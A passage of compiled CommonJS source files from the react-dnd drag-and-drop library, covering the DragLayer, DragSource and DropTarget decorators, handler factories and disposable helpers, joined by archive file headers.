(hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function DragLayer(collect) { var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; (0, _utils.checkDecoratorArguments)('DragLayer', 'collect[, options]', collect, options); (0, _invariant.invariant)(typeof collect === 'function', 'Expected "collect" provided as the first argument to DragLayer to be a function that collects props to inject into the component. ', 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', collect); (0, _invariant.invariant)((0, _js_utils.isPlainObject)(options), 'Expected "options" provided as the second argument to DragLayer to be a plain object when specified. ' + 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', options); return function decorateLayer(DecoratedComponent) { var Decorated = DecoratedComponent; var _options$arePropsEqua = options.arePropsEqual, arePropsEqual = _options$arePropsEqua === void 0 ? _shallowequal.shallowEqual : _options$arePropsEqua; var displayName = Decorated.displayName || Decorated.name || 'Component'; var DragLayerContainer = /** @class */ function () { var DragLayerContainer = /*#__PURE__*/function (_React$Component) { _inherits(DragLayerContainer, _React$Component); var _super = _createSuper(DragLayerContainer); function DragLayerContainer() { var _this; _classCallCheck(this, DragLayerContainer); _this = _super.apply(this, arguments); _this.isCurrentlyMounted = false; _this.ref = React.createRef(); _this.handleChange = function () { if (!_this.isCurrentlyMounted) { return; } var nextState = _this.getCurrentState(); if (!(0, _shallowequal.shallowEqual)(nextState, _this.state)) { _this.setState(nextState); } }; return _this; } _createClass(DragLayerContainer, [{ key: "getDecoratedComponentInstance", value: function getDecoratedComponentInstance() { (0, _invariant.invariant)(this.ref.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()'); return this.ref.current; } }, { key: "shouldComponentUpdate", value: function shouldComponentUpdate(nextProps, nextState) { return !arePropsEqual(nextProps, this.props) || !(0, _shallowequal.shallowEqual)(nextState, this.state); } }, { key: "componentDidMount", value: function componentDidMount() { this.isCurrentlyMounted = true; this.handleChange(); } }, { key: "componentWillUnmount", value: function componentWillUnmount() { this.isCurrentlyMounted = false; if (this.unsubscribeFromOffsetChange) { this.unsubscribeFromOffsetChange(); this.unsubscribeFromOffsetChange = undefined; } if (this.unsubscribeFromStateChange) { this.unsubscribeFromStateChange(); this.unsubscribeFromStateChange = undefined; } } }, { key: "render", value: function render() { var _this2 = this; return React.createElement(_DndContext.DndContext.Consumer, null, function (_ref) { var dragDropManager = _ref.dragDropManager; if (dragDropManager === undefined) { return null; } _this2.receiveDragDropManager(dragDropManager); // Let componentDidMount fire to initialize the collected state if (!_this2.isCurrentlyMounted) { return null; } return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.state, { ref: (0, _utils.isRefable)(Decorated) ? _this2.ref : null })); }); } }, { key: "receiveDragDropManager", value: function receiveDragDropManager(dragDropManager) { if (this.manager !== undefined) { return; } this.manager = dragDropManager; (0, _invariant.invariant)(_typeof(dragDropManager) === 'object', 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName); var monitor = this.manager.getMonitor(); this.unsubscribeFromOffsetChange = monitor.subscribeToOffsetChange(this.handleChange); this.unsubscribeFromStateChange = monitor.subscribeToStateChange(this.handleChange); } }, { key: "getCurrentState", value: function getCurrentState() { if (!this.manager) { return {}; } var monitor = this.manager.getMonitor(); return collect(monitor, this.props); } }]); return DragLayerContainer; }(React.Component); DragLayerContainer.displayName = "DragLayer(".concat(displayName, ")"); DragLayerContainer.DecoratedComponent = DecoratedComponent; return DragLayerContainer; }(); return (0, _hoistNonReactStatics.default)(DragLayerContainer, DecoratedComponent); }; }cjs/decorators/DropTarget.js000064400000005512151677306070012120 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.DropTarget = DropTarget; var _invariant = require("@react-dnd/invariant"); var _js_utils = require("../utils/js_utils"); var _registration = require("../common/registration"); var _isValidType = require("../utils/isValidType"); var _TargetConnector = require("../common/TargetConnector"); var _DropTargetMonitorImpl = require("../common/DropTargetMonitorImpl"); var _utils = require("./utils"); var _decorateHandler = require("./decorateHandler"); var _createTargetFactory = require("./createTargetFactory"); function DropTarget(type, spec, collect) { var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {}; (0, _utils.checkDecoratorArguments)('DropTarget', 'type, spec, collect[, options]', type, spec, collect, options); var getType = type; if (typeof type !== 'function') { (0, _invariant.invariant)((0, _isValidType.isValidType)(type, true), 'Expected "type" provided as the first argument to DropTarget to be ' + 'a string, an array of strings, or a function that returns either given ' + 'the current props. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', type); getType = function getType() { return type; }; } (0, _invariant.invariant)((0, _js_utils.isPlainObject)(spec), 'Expected "spec" provided as the second argument to DropTarget to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', spec); var createTarget = (0, _createTargetFactory.createTargetFactory)(spec); (0, _invariant.invariant)(typeof collect === 'function', 'Expected "collect" provided as the third argument to DropTarget to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect); (0, _invariant.invariant)((0, _js_utils.isPlainObject)(options), 'Expected "options" provided as the fourth argument to DropTarget to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect); return function decorateTarget(DecoratedComponent) { return (0, _decorateHandler.decorateHandler)({ containerDisplayName: 'DropTarget', createHandler: createTarget, registerHandler: _registration.registerTarget, createMonitor: function createMonitor(manager) { return new _DropTargetMonitorImpl.DropTargetMonitorImpl(manager); }, createConnector: function createConnector(backend) { return new _TargetConnector.TargetConnector(backend); }, DecoratedComponent: DecoratedComponent, getType: getType, collect: collect, options: options }); }; }cjs/decorators/decorateHandler.js000064400000032332151677306070013131 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.decorateHandler = decorateHandler; var React = _interopRequireWildcard(require("react")); var _shallowequal = require("@react-dnd/shallowequal"); var _invariant = require("@react-dnd/invariant"); var _hoistNonReactStatics = _interopRequireDefault(require("hoist-non-react-statics")); var _DndContext = require("../common/DndContext"); var _js_utils = require("../utils/js_utils"); var _disposables = require("./disposables"); var _utils = require("./utils"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; } function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function decorateHandler(_ref) { var DecoratedComponent = _ref.DecoratedComponent, createHandler = _ref.createHandler, createMonitor = _ref.createMonitor, createConnector = _ref.createConnector, registerHandler = _ref.registerHandler, containerDisplayName = _ref.containerDisplayName, getType = _ref.getType, collect = _ref.collect, options = _ref.options; var _options$arePropsEqua = options.arePropsEqual, arePropsEqual = _options$arePropsEqua === void 0 ? _shallowequal.shallowEqual : _options$arePropsEqua; var Decorated = DecoratedComponent; var displayName = DecoratedComponent.displayName || DecoratedComponent.name || 'Component'; var DragDropContainer = /** @class */ function () { var DragDropContainer = /*#__PURE__*/function (_React$Component) { _inherits(DragDropContainer, _React$Component); var _super = _createSuper(DragDropContainer); function DragDropContainer(props) { var _this; _classCallCheck(this, DragDropContainer); _this = _super.call(this, props); _this.decoratedRef = React.createRef(); _this.handleChange = function () { var nextState = _this.getCurrentState(); if (!(0, _shallowequal.shallowEqual)(nextState, _this.state)) { _this.setState(nextState); } }; _this.disposable = new _disposables.SerialDisposable(); _this.receiveProps(props); _this.dispose(); return _this; } _createClass(DragDropContainer, [{ key: "getHandlerId", value: function getHandlerId() { return this.handlerId; } }, { key: "getDecoratedComponentInstance", value: function getDecoratedComponentInstance() { (0, _invariant.invariant)(this.decoratedRef.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()'); return this.decoratedRef.current; } }, { key: "shouldComponentUpdate", value: function shouldComponentUpdate(nextProps, nextState) { return !arePropsEqual(nextProps, this.props) || !(0, _shallowequal.shallowEqual)(nextState, this.state); } }, { key: "componentDidMount", value: function componentDidMount() { this.disposable = new _disposables.SerialDisposable(); this.currentType = undefined; this.receiveProps(this.props); this.handleChange(); } }, { key: "componentDidUpdate", value: function componentDidUpdate(prevProps) { if (!arePropsEqual(this.props, prevProps)) { this.receiveProps(this.props); this.handleChange(); } } }, { key: "componentWillUnmount", value: function componentWillUnmount() { this.dispose(); } }, { key: "receiveProps", value: function receiveProps(props) { if (!this.handler) { return; } this.handler.receiveProps(props); this.receiveType(getType(props)); } }, { key: "receiveType", value: function receiveType(type) { if (!this.handlerMonitor || !this.manager || !this.handlerConnector) { return; } if (type === this.currentType) { return; } this.currentType = type; var _registerHandler = registerHandler(type, this.handler, this.manager), _registerHandler2 = _slicedToArray(_registerHandler, 2), handlerId = _registerHandler2[0], unregister = _registerHandler2[1]; this.handlerId = handlerId; this.handlerMonitor.receiveHandlerId(handlerId); this.handlerConnector.receiveHandlerId(handlerId); var globalMonitor = this.manager.getMonitor(); var unsubscribe = globalMonitor.subscribeToStateChange(this.handleChange, { handlerIds: [handlerId] }); this.disposable.setDisposable(new _disposables.CompositeDisposable(new _disposables.Disposable(unsubscribe), new _disposables.Disposable(unregister))); } }, { key: "dispose", value: function dispose() { this.disposable.dispose(); if (this.handlerConnector) { this.handlerConnector.receiveHandlerId(null); } } }, { key: "getCurrentState", value: function getCurrentState() { if (!this.handlerConnector) { return {}; } var nextState = collect(this.handlerConnector.hooks, this.handlerMonitor, this.props); if (process.env.NODE_ENV !== 'production') { (0, _invariant.invariant)((0, _js_utils.isPlainObject)(nextState), 'Expected `collect` specified as the second argument to ' + '%s for %s to return a plain object of props to inject. ' + 'Instead, received %s.', containerDisplayName, displayName, nextState); } return nextState; } }, { key: "render", value: function render() { var _this2 = this; return React.createElement(_DndContext.DndContext.Consumer, null, function (_ref2) { var dragDropManager = _ref2.dragDropManager; _this2.receiveDragDropManager(dragDropManager); if (typeof requestAnimationFrame !== 'undefined') { requestAnimationFrame(function () { var _this2$handlerConnect; return (_this2$handlerConnect = _this2.handlerConnector) === null || _this2$handlerConnect === void 0 ? void 0 : _this2$handlerConnect.reconnect(); }); } return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.getCurrentState(), { // NOTE: if Decorated is a Function Component, decoratedRef will not be populated unless it's a refforwarding component. ref: (0, _utils.isRefable)(Decorated) ? _this2.decoratedRef : null })); }); } }, { key: "receiveDragDropManager", value: function receiveDragDropManager(dragDropManager) { if (this.manager !== undefined) { return; } (0, _invariant.invariant)(dragDropManager !== undefined, 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName); if (dragDropManager === undefined) { return; } this.manager = dragDropManager; this.handlerMonitor = createMonitor(dragDropManager); this.handlerConnector = createConnector(dragDropManager.getBackend()); this.handler = createHandler(this.handlerMonitor, this.decoratedRef); } }]); return DragDropContainer; }(React.Component); DragDropContainer.DecoratedComponent = DecoratedComponent; DragDropContainer.displayName = "".concat(containerDisplayName, "(").concat(displayName, ")"); return DragDropContainer; }(); return (0, _hoistNonReactStatics.default)(DragDropContainer, DecoratedComponent); }cjs/decorators/index.js000064400000002307151677306070011153 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _DragSource = require("./DragSource"); Object.keys(_DragSource).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _DragSource[key]; } }); }); var _DropTarget = require("./DropTarget"); Object.keys(_DropTarget).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _DropTarget[key]; } }); }); var _DragLayer = require("./DragLayer"); Object.keys(_DragLayer).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _DragLayer[key]; } }); }); var _interfaces = require("./interfaces"); Object.keys(_interfaces).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _interfaces[key]; } }); });cjs/decorators/DragSource.js000064400000005777151677306070012120 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.DragSource = DragSource; var _invariant = require("@react-dnd/invariant"); var _js_utils = require("../utils/js_utils"); var _utils = require("./utils"); var _decorateHandler = require("./decorateHandler"); var _registration = require("../common/registration"); var _DragSourceMonitorImpl = require("../common/DragSourceMonitorImpl"); var _SourceConnector = require("../common/SourceConnector"); var _isValidType = require("../utils/isValidType"); var _createSourceFactory = require("./createSourceFactory"); /** * Decorates a component as a dragsource * @param type The dragsource type * @param spec The drag source specification * @param collect The props collector function * @param options DnD options */ function DragSource(type, spec, collect) { var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {}; (0, _utils.checkDecoratorArguments)('DragSource', 'type, spec, collect[, options]', type, spec, collect, options); var getType = type; if (typeof type !== 'function') { (0, _invariant.invariant)((0, _isValidType.isValidType)(type), 'Expected "type" provided as the first argument to DragSource to be ' + 'a string, or a function that returns a string given the current props. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', type); getType = function getType() { return type; }; } (0, _invariant.invariant)((0, _js_utils.isPlainObject)(spec), 'Expected "spec" provided as the second argument to DragSource to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', spec); var createSource = (0, _createSourceFactory.createSourceFactory)(spec); (0, _invariant.invariant)(typeof collect === 'function', 'Expected "collect" provided as the third argument to DragSource to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect); (0, _invariant.invariant)((0, _js_utils.isPlainObject)(options), 'Expected "options" provided as the fourth argument to DragSource to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect); return function decorateSource(DecoratedComponent) { return (0, _decorateHandler.decorateHandler)({ containerDisplayName: 'DragSource', createHandler: createSource, registerHandler: _registration.registerSource, createConnector: function createConnector(backend) { return new _SourceConnector.SourceConnector(backend); }, createMonitor: function createMonitor(manager) { return new _DragSourceMonitorImpl.DragSourceMonitorImpl(manager); }, DecoratedComponent: DecoratedComponent, getType: getType, collect: collect, options: options }); }; }cjs/decorators/createSourceFactory.js000064400000007572151677306070014031 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.createSourceFactory = createSourceFactory; var _invariant = require("@react-dnd/invariant"); var _js_utils = require("../utils/js_utils"); var _utils = require("./utils"); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var ALLOWED_SPEC_METHODS = ['canDrag', 'beginDrag', 'isDragging', 'endDrag']; var REQUIRED_SPEC_METHODS = ['beginDrag']; var SourceImpl = /*#__PURE__*/function () { function SourceImpl(spec, monitor, ref) { var _this = this; _classCallCheck(this, SourceImpl); this.props = null; this.beginDrag = function () { if (!_this.props) { return; } var item = _this.spec.beginDrag(_this.props, _this.monitor, _this.ref.current); if (process.env.NODE_ENV !== 'production') { (0, _invariant.invariant)((0, _js_utils.isPlainObject)(item), 'beginDrag() must return a plain object that represents the dragged item. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', item); } return item; }; this.spec = spec; this.monitor = monitor; this.ref = ref; } _createClass(SourceImpl, [{ key: "receiveProps", value: function receiveProps(props) { this.props = props; } }, { key: "canDrag", value: function canDrag() { if (!this.props) { return false; } if (!this.spec.canDrag) { return true; } return this.spec.canDrag(this.props, this.monitor); } }, { key: "isDragging", value: function isDragging(globalMonitor, sourceId) { if (!this.props) { return false; } if (!this.spec.isDragging) { return sourceId === globalMonitor.getSourceId(); } return this.spec.isDragging(this.props, this.monitor); } }, { key: "endDrag", value: function endDrag() { if (!this.props) { return; } if (!this.spec.endDrag) { return; } this.spec.endDrag(this.props, this.monitor, (0, _utils.getDecoratedComponent)(this.ref)); } }]); return SourceImpl; }(); function createSourceFactory(spec) { Object.keys(spec).forEach(function (key) { (0, _invariant.invariant)(ALLOWED_SPEC_METHODS.indexOf(key) > -1, 'Expected the drag source specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', ALLOWED_SPEC_METHODS.join(', '), key); (0, _invariant.invariant)(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]); }); REQUIRED_SPEC_METHODS.forEach(function (key) { (0, _invariant.invariant)(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]); }); return function createSource(monitor, ref) { return new SourceImpl(spec, monitor, ref); }; }cjs/decorators/createTargetFactory.js000064400000006413151677306070014010 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.createTargetFactory = createTargetFactory; var _invariant = require("@react-dnd/invariant"); var _js_utils = require("../utils/js_utils"); var _utils = require("./utils"); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var ALLOWED_SPEC_METHODS = ['canDrop', 'hover', 'drop']; var TargetImpl = /*#__PURE__*/function () { function TargetImpl(spec, monitor, ref) { _classCallCheck(this, TargetImpl); this.props = null; this.spec = spec; this.monitor = monitor; this.ref = ref; } _createClass(TargetImpl, [{ key: "receiveProps", value: function receiveProps(props) { this.props = props; } }, { key: "receiveMonitor", value: function receiveMonitor(monitor) { this.monitor = monitor; } }, { key: "canDrop", value: function canDrop() { if (!this.spec.canDrop) { return true; } return this.spec.canDrop(this.props, this.monitor); } }, { key: "hover", value: function hover() { if (!this.spec.hover || !this.props) { return; } this.spec.hover(this.props, this.monitor, (0, _utils.getDecoratedComponent)(this.ref)); } }, { key: "drop", value: function drop() { if (!this.spec.drop) { return undefined; } var dropResult = this.spec.drop(this.props, this.monitor, this.ref.current); if (process.env.NODE_ENV !== 'production') { (0, _invariant.invariant)(typeof dropResult === 'undefined' || (0, _js_utils.isPlainObject)(dropResult), 'drop() must either return undefined, or an object that represents the drop result. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', dropResult); } return dropResult; } }]); return TargetImpl; }(); function createTargetFactory(spec) { Object.keys(spec).forEach(function (key) { (0, _invariant.invariant)(ALLOWED_SPEC_METHODS.indexOf(key) > -1, 'Expected the drop target specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', ALLOWED_SPEC_METHODS.join(', '), key); (0, _invariant.invariant)(typeof spec[key] === 'function', 'Expected %s in the drop target specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', key, key, spec[key]); }); return function createTarget(monitor, ref) { return new TargetImpl(spec, monitor, ref); }; }cjs/decorators/disposables.js000064400000015272151677306070012361 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.SerialDisposable = exports.CompositeDisposable = exports.Disposable = void 0; var _js_utils = require("../utils/js_utils"); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Provides a set of static methods for creating Disposables. * @param {Function} action Action to run during the first call to dispose. * The action is guaranteed to be run at most once. */ var Disposable = /** @class */ function () { var Disposable = /*#__PURE__*/function () { function Disposable(action) { _classCallCheck(this, Disposable); this.isDisposed = false; this.action = (0, _js_utils.isFunction)(action) ? action : _js_utils.noop; } /** * Validates whether the given object is a disposable * @param {Object} Object to test whether it has a dispose method * @returns {Boolean} true if a disposable object, else false. */ _createClass(Disposable, [{ key: "dispose", /** Performs the task of cleaning up resources. */ value: function dispose() { if (!this.isDisposed) { this.action(); this.isDisposed = true; } } }], [{ key: "isDisposable", value: function isDisposable(d) { return Boolean(d && (0, _js_utils.isFunction)(d.dispose)); } }, { key: "_fixup", value: function _fixup(result) { return Disposable.isDisposable(result) ? result : Disposable.empty; } /** * Creates a disposable object that invokes the specified action when disposed. * @param {Function} dispose Action to run during the first call to dispose. * The action is guaranteed to be run at most once. * @return {Disposable} The disposable object that runs the given action upon disposal. */ }, { key: "create", value: function create(action) { return new Disposable(action); } }]); return Disposable; }(); /** * Gets the disposable that does nothing when disposed. */ Disposable.empty = { dispose: _js_utils.noop }; return Disposable; }(); exports.Disposable = Disposable; /** * Represents a group of disposable resources that are disposed together. * @constructor */ var CompositeDisposable = /*#__PURE__*/function () { function CompositeDisposable() { _classCallCheck(this, CompositeDisposable); this.isDisposed = false; for (var _len = arguments.length, disposables = new Array(_len), _key = 0; _key < _len; _key++) { disposables[_key] = arguments[_key]; } this.disposables = disposables; } /** * Adds a disposable to the CompositeDisposable or disposes the disposable if the CompositeDisposable is disposed. * @param {Any} item Disposable to add. */ _createClass(CompositeDisposable, [{ key: "add", value: function add(item) { if (this.isDisposed) { item.dispose(); } else { this.disposables.push(item); } } /** * Removes and disposes the first occurrence of a disposable from the CompositeDisposable. * @param {Any} item Disposable to remove. * @returns {Boolean} true if found; false otherwise. */ }, { key: "remove", value: function remove(item) { var shouldDispose = false; if (!this.isDisposed) { var idx = this.disposables.indexOf(item); if (idx !== -1) { shouldDispose = true; this.disposables.splice(idx, 1); item.dispose(); } } return shouldDispose; } /** * Disposes all disposables in the group and removes them from the group but * does not dispose the CompositeDisposable. */ }, { key: "clear", value: function clear() { if (!this.isDisposed) { var len = this.disposables.length; var currentDisposables = new Array(len); for (var i = 0; i < len; i++) { currentDisposables[i] = this.disposables[i]; } this.disposables = []; for (var _i = 0; _i < len; _i++) { currentDisposables[_i].dispose(); } } } /** * Disposes all disposables in the group and removes them from the group. */ }, { key: "dispose", value: function dispose() { if (!this.isDisposed) { this.isDisposed = true; var len = this.disposables.length; var currentDisposables = new Array(len); for (var i = 0; i < len; i++) { currentDisposables[i] = this.disposables[i]; } this.disposables = []; for (var _i2 = 0; _i2 < len; _i2++) { currentDisposables[_i2].dispose(); } } } }]); return CompositeDisposable; }(); /** * Represents a disposable resource whose underlying disposable resource can * be replaced by another disposable resource, causing automatic disposal of * the previous underlying disposable resource. */ exports.CompositeDisposable = CompositeDisposable; var SerialDisposable = /*#__PURE__*/function () { function SerialDisposable() { _classCallCheck(this, SerialDisposable); this.isDisposed = false; } /** * Gets the underlying disposable. * @returns {Any} the underlying disposable. */ _createClass(SerialDisposable, [{ key: "getDisposable", value: function getDisposable() { return this.current; } }, { key: "setDisposable", value: function setDisposable(value) { var shouldDispose = this.isDisposed; if (!shouldDispose) { var old = this.current; this.current = value; if (old) { old.dispose(); } } if (shouldDispose && value) { value.dispose(); } } /** Performs the task of cleaning up resources. */ }, { key: "dispose", value: function dispose() { if (!this.isDisposed) { 